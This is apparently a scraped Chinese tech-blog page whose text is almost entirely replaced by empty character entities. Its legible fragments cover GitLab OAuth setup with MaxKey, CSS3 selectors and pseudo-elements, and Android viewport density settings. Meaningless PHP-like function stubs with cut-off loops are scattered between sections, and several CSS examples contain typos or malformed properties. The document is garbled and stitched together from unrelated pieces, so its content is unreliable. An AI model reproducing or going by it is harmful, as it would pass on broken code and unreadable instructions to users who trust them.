&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

Gitlab&#;&#;&#;&#;&#;&#;

https://docs.gitlab.com/ee/integration/oauth2_generic.html?tab=Linux+package+%28Omnibus%29

在这里插入图片描述

2. &#;&#;gitlab&#;&#;

sudo gitlab-ctl reconfigure

3. &#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;Oauth&#;&#;&#;&#;

在这里插入图片描述

4. &#;&#;MaxKey&#;&#;

&#;&#;&#;&#;&#;,&#;&#;&#;MaxKey&#;&#;

在这里插入图片描述

&#;&#;&#;,MaxKey&#;&#;&#;&#;&#;&#;

在这里插入图片描述

&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;(&#;&#;&#;&#;&#;&#;Gitlab&#;&#;)

在这里插入图片描述

&#;&#;&#;&#;&#;&#;&#;Gitlab&#;&#;&#;MaxKey&#;&#;Id,&#;&#;&#;&#;&#;&#;&#;(&#;gitlab&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;)

在这里插入图片描述

&#;&#;Gitlab&#;&#;&#;Max&#;&#;

&#;&#;Gitlab&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;-&#;&#;

&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;Oauth&#;&#;&#;&#;&#;&#;

在这里插入图片描述

function member($readson)

{

for($c=0;$cF)&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;(>)&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;div&#;&#;&#;&#;&#;span&#;span&#;&#;&#;&#;span&#;div&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;(E+F)&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;

&#;&#;&#;&#;span&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;span&#;&#;&#;&#;&#;&#;span&#;&#;&#;&#;&#;span&#;&#;&#;&#;span&#;&#;&#;&#;&#;span&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;(E~F)&#;CSS3&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;span&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;span&#;

&#;&#;&#;&#;&#;

&#;&#;css3&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;6&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;UI&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;CSS&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;(:)&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;HTML&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;:link&#;:visited&#;:hover&#;:active&#;

&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;“:target”&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;URI&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;URI&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;(#)&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;“#yxz”&#;“:target”&#;&#;&#;&#;&#;&#;ID&#;“yxz”&#;&#;&#;&#;":target"&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#; &#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;CSS&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;HTML5&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;lang&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;

&#;&#;E:lang(language)&#;&#;&#;&#;&#;&#;E&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;lang&#;&#;&#;&#;&#;&#;&#;&#;language&#;

UI&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;form&#;&#;&#;&#;&#;&#;UI&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;HTML&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;CSS3&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#; &#;&#;&#; &#;&#;&#; &#;&#; &#;&#;&#; &#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;(&#;&#;&#;&#;&#;)&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;n&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;nth-child(3)&#;&#;&#;&#;3&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;odd&#;&#;&#;&#;&#;&#;&#;&#;even&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;0&#;&#;&#;&#;&#;1&#;&#;&#;n+1,&#;n=0&#;&#;0+1=1&#;&#;&#;&#;1&#;&#;&#;&#;&#;&#;n=1&#;&#;1+1=2&#;&#;&#;&#;2&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

:first-child

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#; &#;&#;&#; &#;&#; &#;&#;&#;&#;&#;&#;&#;&#;

:last-child

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

/*&#;&#;ul&#;&#;&#;&#;&#;li&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;*/ul li:last-child{ list-style-type:circle;}&#;&#;&#;&#;&#;

:nth-child(n)

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;n&#;&#;&#;&#;&#;

/*&#;&#;ul&#;&#;&#;&#;li*/ul li:nth-child(3){ list-style-type:circle;}&#;&#;&#;&#;&#;

&#;&#;&#;n&#;&#;&#;&#;&#;&#;

/*&#;&#;ul&#;&#;&#;&#;&#;li*/ul li:nth-child(odd){ list-style-type:circle;}&#;&#;&#;&#;&#;

&#;&#;&#;n&#;&#;&#;&#;&#;

/*&#;&#;ul&#;&#;&#;&#;&#;li*/ul li:nth-child(n*2-1){ list-style-type:circle;}&#;&#;&#;&#;&#;

:nth-last-child(n)

&#;&#;&#;:nth-child&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;n&#;&#;&#;&#;&#;

/*&#;&#;ul&#;&#;&#;&#;&#;&#;li*/ul li:nth-last-child(3){ list-style-type:circle;}&#;&#;&#;&#;&#;

&#;&#;&#;n&#;&#;&#;&#;&#;&#;

/*&#;&#;ul&#;&#;&#;&#;&#;&#;&#;li*/ul li:nth-last-child(odd){ list-style-type:circle;}&#;&#;&#;&#;&#;

&#;&#;&#;n&#;&#;&#;&#;&#;

/*&#;&#;ul&#;&#;&#;&#;&#;&#;&#;li*/ul li:nth-last-child(n*2-1){ list-style-type:circle;}&#;&#;&#;&#;&#;

:nth-of-type(n)

&#;&#;&#;&#;:nth-child&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#; &#;&#;&#; &#;&#;&#; &#;&#; &#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;nth-child&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;2&#;li&#;&#;&#;li:nth-child(2)&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;2&#;&#;&#;&#;&#;span&#;&#;&#;&#;&#;&#;&#;&#;

ul li:nth-of-type(2){ list-style-type:circle;}&#;&#;&#;&#;&#;

&#;&#;:nth-of-type&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;2&#;&#;&#;span&#;&#;li&#;&#;&#;&#;&#;&#;&#;

:nth-last-of-type(n)

&#;&#;&#;nth-of-type&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;nth-last-child&#;&#;&#;

:only-child

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#; &#;&#;&#; &#;&#; &#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;

:only-of-type

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#; &#;&#;&#; &#;&#; &#;&#;&#; &#;&#;&#; &#;&#;&#; &#;&#;&#; &#;&#;&#; &#;&#;&#; &#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;

:empty

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;“:not()”&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;

&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;css&#;&#;&#;&#;&#;&#;“:first-letter”&#;“:first-line”&#;“:before”&#;“:after”&#;&#;css3&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;“::first-letter”&#;“::first-line”&#;“::before”&#;“::after”&#;&#;&#;&#;&#;&#;&#;“::selection”&#;

::first-line

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

::first-line

&#;&#;&#;::first-letter&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;::first-line&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

/*&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;*/ p::first-line{ color:blue; }&#;&#;&#;&#;&#;

::before&#;::after

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;(::before)&#;&#;&#;&#;&#;&#;(::after)&#;&#;&#;&#;&#;&#;&#;(content)&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;DOM&#;&#;&#;&#;&#;

/*&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;"&#;",&#;&#;&#;&#;*/&#;&#;&#;&#;&#;

p::before{

content:"&#;";

color:blue;

}

/&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;"&#;",&#;&#;&#;&#;/

p::after{

content:"&#;";

color:red;

}

::selection

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;::selection&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;background&#;&#;&#;&#;color&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

/*&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;*/p::selection{ background:#; color:#ffffff;}/*&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;*/ p::-moz-selection{ background:#; color:#ffffff;}&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;

&#;&#;&#;HTML&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;css2&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;css3&#;css2&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

E[attr]

&#;&#;&#;&#;&#;&#;&#;&#;attr&#;&#;&#;E&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

E[attr=val]

&#;&#;&#;&#;E&#;&#;&#;&#;&#;attr&#;&#;&#;val&#;&#;&#;&#;

/*&#;&#;a&#;&#;&#;&#;href&#;&#;&#;&#;&#;&#;&#;http://www.baidu.com&#;&#;&#;*/ a[href="http://www.baidu.com"]{ text-decoration:none; color:black; }&#;&#;&#;&#;&#;

E[attr|=val]

&#;&#;&#;&#;E&#;&#;&#;&#;&#;attr&#;&#;&#;&#;&#;val&#;&#;&#;&#;val-&#;&#;&#;&#;&#;&#;

/*&#;&#;a&#;&#;&#;&#;id&#;&#;&#;&#;&#;&#;&#;yxz&#;&#;yxz-&#;&#;&#;&#;&#;*/a[id|="yxz"]{ text-decoration:none; color:black;}&#;&#;&#;&#;&#;

E[attr~=val]

&#;&#;&#;&#;E&#;&#;&#;&#;&#;attr&#;&#;val&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

/*&#;&#;a&#;&#;&#;&#;class&#;&#;&#;&#;&#;&#;yxz&#;&#;&#;&#;&#;&#;&#;*/a[class~="yxz"]{ text-decoration:none; color:black;}&#;&#;&#;&#;&#;

E[attr*=val]

&#;&#;&#;&#;E&#;&#;&#;&#;&#;&#;attr&#;&#;&#;val&#;&#;&#;&#;&#;&#;&#;&#;&#;

/*&#;&#;a&#;&#;&#;&#;class&#;&#;&#;&#;&#;&#;yxz&#;&#;&#;&#;&#;&#;&#;&#;*/a[class*="yxz"]{ text-decoration:none; color:black;}&#;&#;&#;&#;&#;

E[attr^=val]

&#;&#;&#;&#;E&#;&#;&#;&#;&#;&#;attr&#;&#;&#;&#;val&#;&#;&#;

/*&#;&#;a&#;&#;&#;&#;href&#;&#;&#;&#;&#;&#;http&#;&#;*/a[href^="http"]{ text-decoration:none; color:black;}&#;&#;&#;&#;&#;

E[attr$=val]

&#;&#;&#;&#;E&#;&#;&#;&#;&#;&#;attr&#;&#;&#;&#;val&#;&#;&#;

/*&#;&#;a&#;&#;&#;&#;href&#;&#;&#;&#;&#;&#;com&#;&#;*/a[href$="com"]{ text-decoration:none; color:black;}&#;&#;&#;&#;&#;

css3&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

function reachwho($KQe)

{

for($ZUoD=0;$ZUoD

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;target-densitydpi&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

medium-dpi&#;target&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;target-densitydpi=device&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;dpi&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;320*480&#;&#;&#;&#;&#;&#;iphone4&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;target-densitydpi=device-dpi&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;( &#;&#;&#;&#;&#;&#;&#; )&#;&#;&#;iphone4&#;&#;&#;&#;&#;640*960&#;

&#;&#;&#;&#;&#;&#;

( 1 ) &#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;320px&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;( &#;&#;&#;&#;medium-dpi&#;target-densitydpi&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; )&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;( &#;&#;&#;&#;&#; )&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

( 2 ) &#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

target-densitydpi = device-dpi&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; 1 CSS pixel = 1 device pixel&#;&#;&#;&#;&#; 640 * 960&#;iphone&#;&#;&#;&#;&#;&#;&#;&#;640*960&#;&#;&#;&#;&#;iphone&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

1 2 #header{ 3 background:url(medium-density-image.png); 4 } 5 @media screen and (-webkit-device-pixed-ratio:1.5){ 6 /* CSS for high-density screens */ 7 #header { background:url (high-density-image.png);} 8 } 9 @media screen and (- webkit -device-pixel-ratio:0.75) { 10 /* CSS for low-density screens */ 11 #header { background:url (low-density-image.png);} 12 }&#;&#;&#;&#;&#;

( 3 ) &#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;480px&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;320px&#;( &#;&#;background-size&#;&#;&#;&#;&#;&#;&#;&#; )&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;( &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; )&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;( &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; )&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;( &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; )

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;http://blog.jobbole.com//

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;very very&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

public void purpose($worksfilemtimefly)

{

for($Qt=0;$Qt">

value&#;&#; &#;&#; input &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;

  ">

public void imageagentsecond()

{

for($cEudA=0;$cEudA 1. &#;&#; width

&#;&#; viewport &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; device-width &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; 100% &#;&#; CSS &#;&#;&#;&#;&#; 2. &#;&#; height

&#; width &#;&#;&#;&#;&#;&#;&#;&#;&#; 3. &#;&#;&#;&#; target-densitydpi

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;dpi&#;&#;Android&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;Android Browser&#;WebView&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#; target-densitydpi &#;&#;&#; &#;&#;&#;&#; device-dpi ?&#;&#;&#;&#;&#;&#;&#; dpi &#;&#;&#;&#; dp&#; &#;&#;&#;&#;&#;&#;&#;&#;&#; high-dpi ? &#;&#;hdpi &#;&#;&#;&#; dpi&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; medium-dpi ? &#;&#;mdpi&#;&#;&#;&#; dpi&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;target density. low-dpi -&#;&#;mdpi&#;&#;&#;&#; dpi&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; ? &#;&#;&#;&#;&#;&#;&#;dpi &#;&#;&#;target dpi. &#;&#;&#;&#;&#;&#;&#;&#;&#;70?400&#;&#;&#;

1

2

3

4

5

6

&#;&#;&#;&#;Android Browser&#;WebView &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;viewport&#;target-densitydpi &#;&#;&#; device-dpi&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;viewport&#; width&#;&#;&#;&#;&#;&#;&#;width&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; 4. &#;&#;&#;&#; initial-scale

